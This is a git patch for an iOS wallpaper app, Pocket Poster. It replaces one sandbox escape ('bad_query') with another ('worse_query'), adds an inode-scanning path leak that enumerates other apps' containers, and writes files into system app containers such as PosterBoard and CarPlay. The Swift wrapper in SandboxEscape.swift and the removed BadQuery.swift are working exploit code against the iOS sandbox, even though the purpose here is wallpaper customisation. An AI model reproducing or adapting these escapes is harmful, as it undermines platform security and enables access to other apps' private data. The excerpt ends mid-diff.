From 4c7d968d49e3cac7f1feef2041b0ac3db4dc3f7e Mon Sep 17 00:00:00 2001 From: admin Date: Tue, 10 Nov 2026 15:51:27 +0800 Subject: [PATCH] Pocket Poster 3.3.0: worse_query port for iOS 26-27.2 - Replace bad_query with forcequitOS/worse_query (App Group based) - Read the App Group from the code signature entitlements - Add pathleak container enumeration and iOS 27 system container lookup - Route descriptor/CarPlay writes through worse_query - Add sign_personal.sh and POCKET_POSTER_SELFTEST diagnostics - Keep bad_query as an iOS 26 fallback --- .gitignore | 5 +- Pocket Poster.xcodeproj/project.pbxproj | 10 +- .../CarPlayWallpaper+CarPlayManager.swift | 8 +- .../Controllers/PosterBoardManager.swift | 39 +- Pocket Poster/Controllers/SymHandler.swift | 43 +- Pocket Poster/Exploit/BadQuery.swift | 282 ------------ .../Exploit/Pocket-Poster-Bridging-Header.h | 2 + Pocket Poster/Exploit/SandboxEscape.swift | 430 ++++++++++++++++++ Pocket Poster/Exploit/SelfTest.swift | 77 ++++ Pocket Poster/Exploit/pathleak.h | 33 ++ Pocket Poster/Exploit/pathleak.m | 82 ++++ Pocket Poster/Exploit/worse_query.h | 36 ++ Pocket Poster/Exploit/worse_query.m | 148 ++++++ Pocket Poster/Pocket_PosterApp.swift | 6 + Pocket Poster/Views/ContentView.swift | 16 +- Pocket Poster/Views/SettingsView.swift | 24 +- README.md | 18 +- sign_personal.sh | 122 +++++ 18 files changed, 1026 insertions(+), 355 deletions(-) delete mode 100644 Pocket Poster/Exploit/BadQuery.swift create mode 100644 Pocket Poster/Exploit/SandboxEscape.swift create mode 100644 Pocket Poster/Exploit/SelfTest.swift create mode 100644 Pocket Poster/Exploit/pathleak.h create mode 100644 Pocket Poster/Exploit/pathleak.m create mode 100644 Pocket Poster/Exploit/worse_query.h create mode 100644 Pocket Poster/Exploit/worse_query.m create mode 100755 sign_personal.sh diff --git a/.gitignore b/.gitignore index 796b96d..e3319e0 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,4 @@ -/build +/build/ +.DS_Store +xcuserdata/ +*.xcuserstate diff --git a/Pocket Poster.xcodeproj/project.pbxproj b/Pocket Poster.xcodeproj/project.pbxproj index b2c7c35..96b7c8e 100644 --- a/Pocket Poster.xcodeproj/project.pbxproj +++ b/Pocket Poster.xcodeproj/project.pbxproj @@ -23,6 +23,8 @@ membershipExceptions = ( Exploit/bad_query.h, "Exploit/Pocket-Poster-Bridging-Header.h", + Exploit/pathleak.h, + Exploit/worse_query.h, "Exploit/xpc_crash.h", ); }; @@ -287,7 +289,7 @@ ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; CODE_SIGN_STYLE = Automatic; - CURRENT_PROJECT_VERSION = 3; + CURRENT_PROJECT_VERSION = 4; DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\""; DEVELOPMENT_TEAM = 2P4CP47H76; ENABLE_PREVIEWS = YES; @@ -308,7 +310,7 @@ "$(inherited)", "@executable_path/Frameworks", ); - MARKETING_VERSION = 3.2.2; + MARKETING_VERSION = 3.3.0; PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster"; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_EMIT_LOC_STRINGS = YES; @@ -324,7 +326,7 @@ ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; CODE_SIGN_STYLE = Automatic; - CURRENT_PROJECT_VERSION = 3; + CURRENT_PROJECT_VERSION = 4; DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\""; DEVELOPMENT_TEAM = 2P4CP47H76; ENABLE_PREVIEWS = YES; @@ -345,7 +347,7 @@ "$(inherited)", "@executable_path/Frameworks", ); - MARKETING_VERSION = 3.2.2; + MARKETING_VERSION = 3.3.0; PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster"; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_EMIT_LOC_STRINGS = YES; diff --git a/Pocket Poster/Controllers/CarPlayWallpaper+CarPlayManager.swift b/Pocket Poster/Controllers/CarPlayWallpaper+CarPlayManager.swift index 2ff49c6..fab282c 100644 --- a/Pocket Poster/Controllers/CarPlayWallpaper+CarPlayManager.swift +++ b/Pocket Poster/Controllers/CarPlayWallpaper+CarPlayManager.swift @@ -139,16 +139,16 @@ class CarPlayManager { } let cacheRel = "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images" - if SymHandler.prefersBadQuery { - let destPath = BadQuery.carPlayCachePath(appHash: appHash) + if SymHandler.prefersSandboxEscape { + let destPath = SandboxEscape.carPlayCachePath(appHash: appHash) do { - try SymHandler.writeFilesViaBadQuery(toDirectory: destPath, files: toRemove) + try SymHandler.writeFilesViaEscape(toDirectory: destPath, files: toRemove) // remove local staging copies after successful write for imgURL in toRemove { try? FileManager.default.removeItem(at: imgURL) } } catch { - print("bad_query CarPlay failed, falling back to symlink: \(error)") + print("worse_query CarPlay failed, falling back to symlink: \(error)") let _ = try SymHandler.createAppSymlink(for: cacheRel) for imgURL in toRemove { try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil) diff --git a/Pocket Poster/Controllers/PosterBoardManager.swift b/Pocket Poster/Controllers/PosterBoardManager.swift index 2039f32..365ffb6 100644 --- a/Pocket Poster/Controllers/PosterBoardManager.swift +++ b/Pocket Poster/Controllers/PosterBoardManager.swift @@ -51,11 +51,11 @@ class PosterBoardManager: ObservableObject { return false } - /// Wipe PosterBoard custom descriptor collections using bad_query (real delete). + /// Wipe PosterBoard custom descriptor collections using worse_query (real delete). /// Falls back to language-toggle trick on older exploit path. func resetCollections(appHash: String) throws { - if SymHandler.prefersBadQuery { - try wipeDescriptorsViaBadQuery(appHash: appHash) + if SymHandler.prefersSandboxEscape { + try wipeDescriptorsViaEscape(appHash: appHash) return } @@ -69,18 +69,23 @@ class PosterBoardManager: ObservableObject { } /// Delete everything under each PRBPosterExtensionDataStore/*/Extensions/*/descriptors. - private func wipeDescriptorsViaBadQuery(appHash: String) throws { + private func wipeDescriptorsViaEscape(appHash: String) throws { let ver = SymHandler.getExtensionVersion() - let extensionsRoot = BadQuery.applicationContainerPath(appHash: appHash) + let extensionsRoot = SandboxEscape.applicationContainerPath(appHash: appHash) + "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions" - // Open parent with sandbox extension - let rootHandle = try BadQuery.consume(path: extensionsRoot, create: true) + // Open parent with sandbox extension. A missing path simply means there + // is nothing to wipe yet. + guard let rootHandle = try? SandboxEscape.consume(path: extensionsRoot, create: true) else { + if !SandboxEscape.isAvailable { + throw SandboxEscapeError.unavailable + } + return + } defer { rootHandle.release() } let fm = FileManager.default guard fm.fileExists(atPath: extensionsRoot) else { - // Nothing to wipe — treat as success (collections already empty / never set up) return } @@ -92,7 +97,7 @@ class PosterBoardManager: ObservableObject { .appending("/descriptors") // Ensure we hold an extension on the descriptors dir itself - let descHandle = try? BadQuery.consume(path: descriptorsPath, create: true) + let descHandle = try? SandboxEscape.consume(path: descriptorsPath, create: true) defer { descHandle?.release() } guard fm.fileExists(atPath: descriptorsPath) else { continue } @@ -273,9 +278,9 @@ class PosterBoardManager: ObservableObject { SymHandler.cleanup() } - let useBadQuery = SymHandler.prefersBadQuery - if useBadQuery { - UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "bad_query sandbox escape…") + let useSandboxEscape = SymHandler.prefersSandboxEscape + if useSandboxEscape { + UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "worse_query sandbox escape…") } for (ext, descriptorsList) in extList { @@ -289,13 +294,13 @@ class PosterBoardManager: ObservableObject { } } - if useBadQuery { - // iOS 26/27: direct write via container_query sandbox extension + if useSandboxEscape { + // iOS 26/27: direct write via the container_query sandbox extension do { - try SymHandler.writeDescriptorsViaBadQuery(appHash: appHash, ext: ext, descriptorFolders: foldersToWrite) + try SymHandler.writeDescriptorsViaEscape(appHash: appHash, ext: ext, descriptorFolders: foldersToWrite) } catch { - // Fall back to legacy .Trash symlink if bad_query path fails - print("bad_query apply failed, falling back to symlink: \(error)") + // Fall back to legacy .Trash symlink if the escape path fails + print("worse_query apply failed, falling back to symlink: \(error)") try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite) } } else { diff --git a/Pocket Poster/Controllers/SymHandler.swift b/Pocket Poster/Controllers/SymHandler.swift index ad6b70d..3843bd1 100644 --- a/Pocket Poster/Controllers/SymHandler.swift +++ b/Pocket Poster/Controllers/SymHandler.swift @@ -34,9 +34,9 @@ class SymHandler { return getLCDocumentsDirectory().appendingPathComponent(".Trash", conformingTo: .symbolicLink) } - /// Prefer bad_query (iOS 26/27 sandbox escape); fall back to .Trash symlink exploit. - static var prefersBadQuery: Bool { - BadQuery.isAvailable + /// Prefer worse_query (iOS 26/27 sandbox escape); fall back to .Trash symlink exploit. + static var prefersSandboxEscape: Bool { + SandboxEscape.isAvailable } // MARK: Symlink Creation (legacy exploit for older iOS) @@ -69,19 +69,20 @@ class SymHandler { return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors") } - // MARK: Direct write via bad_query - - /// Copy descriptor folders into PosterBoard descriptors using sandbox escape. - static func writeDescriptorsViaBadQuery(appHash: String, ext: String, descriptorFolders: [URL]) throws { - let destPath = BadQuery.descriptorsPath(appHash: appHash, ext: ext) - print("bad_query writing to \(destPath)") - - // Ensure descriptors directory exists (open parent chain if needed) - try BadQuery.ensureDirectory(at: destPath) - - let handle = try BadQuery.consume(path: destPath, create: true) + // MARK: Direct write via worse_query + + /// Copy descriptor folders into PosterBoard descriptors using the sandbox escape. + static func writeDescriptorsViaEscape(appHash: String, ext: String, descriptorFolders: [URL]) throws { + let destPath = SandboxEscape.descriptorsPath(appHash: appHash, ext: ext) + print("worse_query writing to \(destPath)") + + // Make sure the extension data store exists (PosterBoard creates it on boot). + let containerRoot = SandboxEscape.applicationContainerPath(appHash: appHash) + try SandboxEscape.ensureDirectory(at: destPath, containerRoot: containerRoot) + + let handle = try SandboxEscape.consume(path: destPath, create: true) defer { handle.release() } - + let fm = FileManager.default for descr in descriptorFolders { guard descr.lastPathComponent != "__MACOSX" else { continue } @@ -93,13 +94,13 @@ class SymHandler { try fm.copyItem(at: descr, to: destURL) } } - - /// Copy files into an absolute directory under an app container via bad_query. - static func writeFilesViaBadQuery(toDirectory destPath: String, files: [URL]) throws { - try BadQuery.ensureDirectory(at: destPath) - let handle = try BadQuery.consume(path: destPath, create: true) + + /// Copy files into an absolute directory under an app container via worse_query. + static func writeFilesViaEscape(toDirectory destPath: String, files: [URL]) throws { + try SandboxEscape.ensureDirectory(at: destPath) + let handle = try SandboxEscape.consume(path: destPath, create: true) defer { handle.release() } - + let fm = FileManager.default for file in files { let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(file.lastPathComponent) diff --git a/Pocket Poster/Exploit/BadQuery.swift b/Pocket Poster/Exploit/BadQuery.swift deleted file mode 100644 index cc74d63..0000000 --- a/Pocket Poster/Exploit/BadQuery.swift +++ /dev/null @@ -1,282 +0,0 @@ -// -// BadQuery.swift -// Pocket Poster -// -// Swift wrapper around forcequitOS/bad_query sandbox escape -// (container_query path traversal via MobileGestalt SystemGroup). -// Supports iOS 26.0 – 26.6.1 / 27.0b4+. -// - -import Foundation - -enum BadQueryError: LocalizedError { - case invalidPath - case missingPath - case resolveFailed - case createFailed - case outsideSandbox - case kernelRejected - case asprintfFailed - case unknown(Int64) - case listFailed - case containerNotFound(String) - - var errorDescription: String? { - switch self { - case .invalidPath: - return "Path must be absolute." - case .missingPath: - return "Target path does not exist." - case .resolveFailed: - return "Failed to resolve containermanager symbols." - case .createFailed: - return "Failed to create container query." - case .outsideSandbox: - return "Path is outside containermanager sandbox." - case .kernelRejected: - return "Kernel refused to issue a sandbox extension." - case .asprintfFailed: - return "Failed to build path traversal string." - case .unknown(let code): - return "bad_query failed with code \(code)." - case .listFailed: - return "Failed to enumerate containers (fsgetpath)." - case .containerNotFound(let bundleId): - return "Could not find container for \(bundleId)." - } - } - - static func from(code: Int64) -> BadQueryError { - switch code { - case -255: return .invalidPath - case -254: return .missingPath - case -1: return .resolveFailed - case -2: return .createFailed - case -3: return .outsideSandbox - case -4: return .kernelRejected - case -5: return .asprintfFailed - default: return .unknown(code) - } - } -} - -/// RAII-style sandbox extension handle. -final class BadQueryHandle { - private(set) var handle: Int64 - let path: String - - init(handle: Int64, path: String) { - self.handle = handle - self.path = path - } - - deinit { - release() - } - - func release() { - guard handle >= 0 else { return } - bad_query_release(handle) - handle = -1 - } -} - -enum BadQuery { - /// PosterBoard / related bundle identifiers. - static let posterBoardBundleId = "com.apple.PosterBoard" - static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper" - - // MARK: - Availability - - /// True when the MobileGestalt system-group query route resolves symbols. - /// Cheap probe: only checks dlsym path by attempting a known-existing system path with create=true. - static var isAvailable: Bool { - // Probe with a path that should always exist on device; create=true skips lstat - // so we only fail if symbols/query plumbing is broken (patched OS). - let probe = "/var/mobile" - var cPath = probe.utf8CString.map { Int8($0) } - let result = bad_query(&cPath, true, nil, false) - if result >= 0 { - bad_query_release(result) - return true - } - // -3/-4 mean query ran but path/token failed; symbols still work - if result == -3 || result == -4 || result == -254 { - return true - } - // -1/-2 = symbols/query broken - return result != -1 && result != -2 - } - - // MARK: - Consume / Release - - /// Obtain a sandbox extension for an absolute path. - /// - Parameters: - /// - path: Absolute filesystem path - /// - create: If true, skip existence check (use when lstat is blocked by sandbox) - /// - groupIdentifier: Optional app group; nil uses MobileGestalt SystemGroup (iOS 27 preferred) - /// - isGroup: iOS 26 App Group flag route - @discardableResult - static func consume( - path: String, - create: Bool = false, - groupIdentifier: String? = nil, - isGroup: Bool = false - ) throws -> BadQueryHandle { - guard path.hasPrefix("/") else { throw BadQueryError.invalidPath } - - var cPath = path.utf8CString.map { Int8($0) } - let handle: Int64 - if let group = groupIdentifier { - var cGroup = group.utf8CString.map { Int8($0) } - handle = bad_query(&cPath, create, &cGroup, isGroup) - } else { - handle = bad_query(&cPath, create, nil, isGroup) - } - - guard handle >= 0 else { - // Retry with create=true if existence check failed under sandbox - if !create && handle == -254 { - return try consume(path: path, create: true, groupIdentifier: groupIdentifier, isGroup: isGroup) - } - throw BadQueryError.from(code: handle) - } - return BadQueryHandle(handle: handle, path: path) - } - - // MARK: - Listing - - /// Enumerate immediate children under `path` via fsgetpath inode scan. - static func list(path: String, maxInode: Int64 = 2_000_000) throws -> [String] { - var cPath = path.utf8CString.map { Int8($0) } - guard let raw = bad_query_list(&cPath, maxInode) else { - throw BadQueryError.listFailed - } - defer { free(raw) } - let str = String(cString: raw) - return str - .split(whereSeparator: \.isNewline) - .map(String.init) - .filter { !$0.isEmpty } - } - - // MARK: - Container discovery - - private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist" - - /// Read MCMMetadataIdentifier from a container root, using bad_query for access. - static func readBundleId(fromContainerPath containerPath: String) -> String? { - let metaPath = (containerPath as NSString).appendingPathComponent(metadataFileName) - guard let token = try? consume(path: metaPath, create: true) else { return nil } - defer { token.release() } - - guard let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any] else { - // Some layouts use a non-hidden name - let alt = (containerPath as NSString).appendingPathComponent("com.apple.mobile_container_manager.metadata.plist") - if let altToken = try? consume(path: alt, create: true) { - defer { altToken.release() } - if let d = NSDictionary(contentsOfFile: alt) as? [String: Any] { - return d["MCMMetadataIdentifier"] as? String - } - } - return nil - } - return dict["MCMMetadataIdentifier"] as? String - } - - /// Find application container UUID for a bundle identifier (on-device, no PC). - static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String { - let roots = searchRoots ?? [ - "/var/mobile/Containers/Data/Application", - "/var/mobile/Containers/Data/InternalDaemon", - "/var/mobile/Containers/Data/PluginKitPlugin" - ] - - for root in roots { - let children: [String] - do { - children = try list(path: root) - } catch { - continue - } - - for child in children { - let uuid = (child as NSString).lastPathComponent - // Normalize to the root we know - let containerPath = "\(root)/\(uuid)" - if let id = readBundleId(fromContainerPath: containerPath), id == targetBundleId { - return uuid - } - } - } - - throw BadQueryError.containerNotFound(targetBundleId) - } - - static func findPosterBoardHash() throws -> String { - try findAppHash(bundleId: posterBoardBundleId) - } - - static func findCarPlayHash() throws -> String { - try findAppHash(bundleId: carPlayWallpaperBundleId) - } - - // MARK: - Path helpers - - static func applicationContainerPath(appHash: String) -> String { - "/var/mobile/Containers/Data/Application/\(appHash)" - } - - static func descriptorsPath(appHash: String, ext: String) -> String { - let ver = SymHandler.getExtensionVersion() - return applicationContainerPath(appHash: appHash) - + "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions/\(ext)/descriptors" - } - - static func carPlayCachePath(appHash: String) -> String { - applicationContainerPath(appHash: appHash) - + "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images" - } - - // MARK: - File ops under extension - - /// Copy a directory or file into `destinationDirectory` (must already be accessible via handle). - static func copyItem(at source: URL, intoDestinationDirectory destDir: String, named name: String? = nil) throws { - let destName = name ?? source.lastPathComponent - let destURL = URL(fileURLWithPath: destDir).appendingPathComponent(destName) - let fm = FileManager.default - if fm.fileExists(atPath: destURL.path) { - try fm.removeItem(at: destURL) - } - try fm.copyItem(at: source, to: destURL) - } - - /// Ensure a directory exists at path while holding a parent extension if needed. - static func ensureDirectory(at path: String) throws { - let fm = FileManager.default - if fm.fileExists(atPath: path) { return } - - // Walk up to find an existing ancestor we can open, then create intermediates - let components = path.split(separator: "/").map(String.init) - var built = "" - var lastExisting = "" - for part in components { - built += "/" + part - if fm.fileExists(atPath: built) { - lastExisting = built - } - } - - if lastExisting.isEmpty { - // Get extension on the full path with create=true and mkdir - let handle = try consume(path: path, create: true) - defer { handle.release() } - try fm.createDirectory(atPath: path, withIntermediateDirectories: true) - return - } - - let handle = try consume(path: lastExisting, create: true) - defer { handle.release() } - try fm.createDirectory(atPath: path, withIntermediateDirectories: true) - } -} diff --git a/Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h b/Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h index 203ced8..770ccab 100644 --- a/Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h +++ b/Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h @@ -5,5 +5,7 @@ // Exposes C exploit helpers to Swift. // +#import "worse_query.h" +#import "pathleak.h" #import "bad_query.h" #import "xpc_crash.h" diff --git a/Pocket Poster/Exploit/SandboxEscape.swift b/Pocket Poster/Exploit/SandboxEscape.swift new file mode 100644 index 0000000..e114a3d --- /dev/null +++ b/Pocket Poster/Exploit/SandboxEscape.swift @@ -0,0 +1,430 @@ +// +// SandboxEscape.swift +// Pocket Poster +// +// Swift wrapper around forcequitOS/worse_query (iOS 26.0 – 26.7.2 / 27.0 – 27.2+). +// Falls back to the legacy bad_query route on iOS 26 when no App Group is +// available (unsigned / non-App-Group entitlements). +// + +import Foundation +import Darwin +import Security + +enum SandboxEscapeError: LocalizedError { + case invalidPath + case missingPath + case noAppGroup + case unavailable + case resolveFailed + case createFailed + case symlinkFailed + case outsideSandbox + case kernelRejected + case listFailed + case containerNotFound(String) + case directoryCreateFailed(String) + case unknown(Int64) + + var errorDescription: String? { + switch self { + case .invalidPath: + return "Path must be absolute." + case .missingPath: + return "Target path does not exist." + case .noAppGroup: + return "No App Group entitlement. Sign Pocket Poster with a provisioning profile that includes an App Group — worse_query needs one on iOS 27." + case .unavailable: + return "worse_query is unavailable on this OS/signing combination." + case .resolveFailed: + return "Failed to resolve containermanager symbols." + case .createFailed: + return "Failed to create the container query." + case .symlinkFailed: + return "Failed to create the App Group symlink." + case .outsideSandbox: + return "containermanager rejected the query (path outside sandbox)." + case .kernelRejected: + return "Kernel refused to issue a sandbox extension." + case .listFailed: + return "Failed to enumerate containers (fsgetpath)." + case .containerNotFound(let bundleId): + return "Could not find container for \(bundleId)." + case .directoryCreateFailed(let reason): + return "Could not create destination directory: \(reason)" + case .unknown(let code): + return "Sandbox escape failed with code \(code)." + } + } + + static func fromWorseQuery(_ code: Int64) -> SandboxEscapeError { + switch code { + case -1: return .noAppGroup + case -2: return .resolveFailed + case -3: return .createFailed + case -4: return .symlinkFailed + case -5: return .outsideSandbox + case -6: return .kernelRejected + case -255: return .missingPath + default: return .unknown(code) + } + } + + static func fromBadQuery(_ code: Int64) -> SandboxEscapeError { + switch code { + case -255: return .invalidPath + case -254: return .missingPath + case -1: return .resolveFailed + case -2: return .createFailed + case -3: return .outsideSandbox + case -4: return .kernelRejected + case -5: return .createFailed + default: return .unknown(code) + } + } +} + +enum SandboxEscapeBackend { + case worseQuery + case badQuery +} + +/// RAII-style sandbox extension handle. +final class SandboxEscapeHandle { + private(set) var handle: Int64 + let path: String + private let backend: SandboxEscapeBackend + + init(handle: Int64, path: String, backend: SandboxEscapeBackend) { + self.handle = handle + self.path = path + self.backend = backend + } + + deinit { + release() + } + + func release() { + guard handle >= 0 else { return } + switch backend { + case .worseQuery: + worse_query_release(handle) + case .badQuery: + bad_query_release(handle) + } + handle = -1 + } +} + +enum SandboxEscape { + static let posterBoardBundleId = "com.apple.PosterBoard" + static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper" + + // MARK: - App Group + + /// First App Group from our code signature that actually has a container. + /// nil means the app was signed without an App Group entitlement. + static let appGroupIdentifier: String? = { + guard let groups = entitledAppGroups(), !groups.isEmpty else { return nil } + + let fm = FileManager.default + for group in groups { + if fm.containerURL(forSecurityApplicationGroupIdentifier: group) != nil { + return group + } + } + return groups.first + }() + + /// SecTask is not in the public iOS SDK headers, so resolve it at runtime. + private static func entitledAppGroups() -> [String]? { + guard let handle = dlopen("/System/Library/Frameworks/Security.framework/Security", RTLD_LAZY) else { + return nil + } + defer { dlclose(handle) } + + typealias CreateFromSelfFn = @convention(c) (CFAllocator?) -> Unmanaged? + typealias CopyValueFn = @convention(c) (CFTypeRef?, CFString, UnsafeMutablePointer?>?) -> Unmanaged? + + guard let createSymbol = dlsym(handle, "SecTaskCreateFromSelf"), + let copySymbol = dlsym(handle, "SecTaskCopyValueForEntitlement") else { + return nil + } + + let create = unsafeBitCast(createSymbol, to: CreateFromSelfFn.self) + let copy = unsafeBitCast(copySymbol, to: CopyValueFn.self) + + guard let task = create(nil)?.takeRetainedValue() else { return nil } + let key = "com.apple.security.application-groups" as CFString + guard let value = copy(task, key, nil)?.takeRetainedValue() else { return nil } + return value as? [String] + } + + // MARK: - Backend selection + + /// worse_query when an App Group is available; otherwise the legacy + /// bad_query route on iOS 26 (it does not work on iOS 27+). + static let backend: SandboxEscapeBackend? = { + if let group = appGroupIdentifier { + // create_dir=true skips the sandbox-blocked lstat. + let handle = worse_query("/var/mobile", group, false, true) + if handle >= 0 { + worse_query_release(handle) + return .worseQuery + } + // -1 / -2 mean the group or the containermanager plumbing is missing. + if handle != -1 && handle != -2 { + return .worseQuery + } + } + + if ProcessInfo.processInfo.operatingSystemVersion.majorVersion <= 26 { + var probe = "/var/mobile".utf8CString.map { Int8($0) } + let handle = bad_query(&probe, true, nil, false) + if handle >= 0 { + bad_query_release(handle) + return .badQuery + } + // -3 / -4 / -254 mean the query ran but the path/token failed. + if handle == -3 || handle == -4 || handle == -254 { + return .badQuery + } + } + + return nil + }() + + static var isAvailable: Bool { backend != nil } + static var isUsingWorseQuery: Bool { backend == .worseQuery } + + // MARK: - Consume / Release + + /// Obtain a sandbox extension for an absolute path. + /// - Parameters: + /// - path: Absolute filesystem path. + /// - create: Skip the existence check (needed for sandbox-blocked paths). + @discardableResult + static func consume(path: String, create: Bool = false) throws -> SandboxEscapeHandle { + guard path.hasPrefix("/") else { throw SandboxEscapeError.invalidPath } + guard let backend else { throw SandboxEscapeError.unavailable } + + switch backend { + case .worseQuery: + guard let group = appGroupIdentifier else { throw SandboxEscapeError.noAppGroup } + // iOS 26 App Group containers need the alternate operation flags. + let altFlags = ProcessInfo.processInfo.operatingSystemVersion.majorVersion == 26 + && path.contains("/var/mobile/Containers/Shared/AppGroup") + let handle = worse_query(path, group, altFlags, create) + guard handle >= 0 else { throw SandboxEscapeError.fromWorseQuery(handle) } + return SandboxEscapeHandle(handle: handle, path: path, backend: .worseQuery) + + case .badQuery: + var cPath = path.utf8CString.map { Int8($0) } + let handle = bad_query(&cPath, create, nil, false) + guard handle >= 0 else { throw SandboxEscapeError.fromBadQuery(handle) } + return SandboxEscapeHandle(handle: handle, path: path, backend: .badQuery) + } + } + + // MARK: - Listing + + /// Freshly allocated inode just below the current high-water mark. + /// APFS hands out increasing inode numbers, so this bounds a full scan. + private static func baselineInode() -> UInt64 { + let fm = FileManager.default + let url = fm.temporaryDirectory + .appendingPathComponent(".wq_baseline_\(UUID().uuidString)") + do { + try Data("worse_query".utf8).write(to: url) + var info = stat() + let ok = url.path.withCString { stat($0, &info) } == 0 + try? fm.removeItem(at: url) + if ok { + return info.st_ino + 1024 + } + } catch { + print("(wq) baseline inode failed: \(error.localizedDescription)") + } + return 2_000_000 + } + + /// Enumerate the immediate children of `path` through fsgetpath. + static func list(path: String, maxInode: UInt64? = nil) throws -> [String] { + let limit = maxInode ?? baselineInode() + guard let paths = pathleak(path, limit) else { + throw SandboxEscapeError.listFailed + } + return paths + } + + // MARK: - Container discovery + + private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist" + + /// Read MCMMetadataIdentifier from a container root. + static func readBundleId(fromContainerPath containerPath: String) -> String? { + // Fast path: the container xattr. + if let token = try? consume(path: containerPath, create: true) { + defer { token.release() } + var buffer = [CChar](repeating: 0, count: 512) + let length = getxattr( + containerPath, + "com.apple.containermanager.identifier", + &buffer, + 511, + 0, + 0 + ) + if length > 0 { + let bundleId = String(cString: buffer) + if !bundleId.isEmpty { return bundleId } + } + } + + // Metadata plist fallback. + for name in [metadataFileName, "com.apple.mobile_container_manager.metadata.plist"] { + let metaPath = (containerPath as NSString).appendingPathComponent(name) + guard let token = try? consume(path: metaPath, create: true) else { continue } + defer { token.release() } + if let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any], + let bundleId = dict["MCMMetadataIdentifier"] as? String, + !bundleId.isEmpty { + return bundleId + } + } + + return nil + } + + static var defaultSearchRoots: [String] { + var roots = ["/var/mobile/Containers/Data/Application"] + if #available(iOS 27.0, *) { + roots.append("/var/containers/Data/System") + } + roots.append("/var/mobile/Containers/Data/InternalDaemon") + roots.append("/var/mobile/Containers/Data/PluginKitPlugin") + return roots + } + + /// Find an application container UUID for a bundle identifier, on-device. + static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String { + guard isAvailable else { throw SandboxEscapeError.unavailable } + + let roots = searchRoots ?? defaultSearchRoots + let inode = baselineInode() + + for root in roots { + guard let children = pathleak(root, inode) else { continue } + for child in children { + guard let id = readBundleId(fromContainerPath: child), id == targetBundleId else { + continue + } + return (child as NSString).lastPathComponent + } + } + + throw SandboxEscapeError.containerNotFound(targetBundleId) + } + + static func findPosterBoardHash() throws -> String { + try findAppHash(bundleId: posterBoardBundleId) + } + + static func findCarPlayHash() throws -> String { + try findAppHash(bundleId: carPlayWallpaperBundleId) + } + + // MARK: - Path helpers + + private static let cacheLock = NSLock() + private static var containerCache: [String: String] = [:] + + /// Resolve the container root for a stored hash. iOS 27 keeps some system + /// app containers under /var/containers/Data/System, third-party apps + /// stay under /var/mobile/Containers/Data/Application. + static func applicationContainerPath(appHash: String) -> String { + let hash = appHash.trimmingCharacters(in: .whitespacesAndNewlines) + guard !hash.isEmpty else { return "" } + + cacheLock.lock() + if let cached = containerCache[hash] { + cacheLock.unlock() + return cached + } + cacheLock.unlock() + + var candidates = ["/var/mobile/Containers/Data/Application/\(hash)"] + if #available(iOS 27.0, *) { + candidates.append("/var/containers/Data/System/\(hash)") + } + + for candidate in candidates { + if let handle = try? consume(path: candidate, create: true) { + handle.release() + cacheLock.lock() + containerCache[hash] = candidate + cacheLock.unlock() + return candidate + } + } + + return candidates[0] + } + + static func descriptorsPath(appHash: String, ext: String) -> String { + let version = SymHandler.getExtensionVersion() + return applicationContainerPath(appHash: appHash) + + "/Library/Application Support/PRBPosterExtensionDataStore/\(version)/Extensions/\(ext)/descriptors" + } + + static func carPlayCachePath(appHash: String) -> String { + return applicationContainerPath(appHash: appHash) + + "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images" + } + + // MARK: - File operations under a container + + /// Create `path` while holding an extension on the container root. + static func ensureDirectory(at path: String, containerRoot: String? = nil) throws { + let fm = FileManager.default + let root = containerRoot ?? inferredContainerRoot(for: path) + + guard let root else { + let handle = try consume(path: path, create: true) + defer { handle.release() } + try fm.createDirectory(atPath: path, withIntermediateDirectories: true) + return + } + + let handle = try consume(path: root, create: true) + defer { handle.release() } + do { + try fm.createDirectory(atPath: path, withIntermediateDirectories: true) + } catch { + throw SandboxEscapeError.directoryCreateFailed(error.localizedDescription) + } + } + + /// Infer the container root from a path. + /// /var/mobile/Containers/Data/Application//... + /// /var/containers/Data/System//... + private static func inferredContainerRoot(for path: String) -> String? { + let components = path.split(separator: "/").map(String.init) + if components.count >= 6, + components[0] == "var", + components[1] == "mobile", + components[2] == "Containers", + components[3] == "Data" { + return "/" + components.prefix(6).joined(separator: "/") + } + if components.count >= 5, + components[0] == "var", + components[1] == "containers", + components[2] == "Data", + components[3] == "System" { + return "/" + components.prefix(5).joined(separator: "/") + } + return nil + } +} diff --git a/Pocket 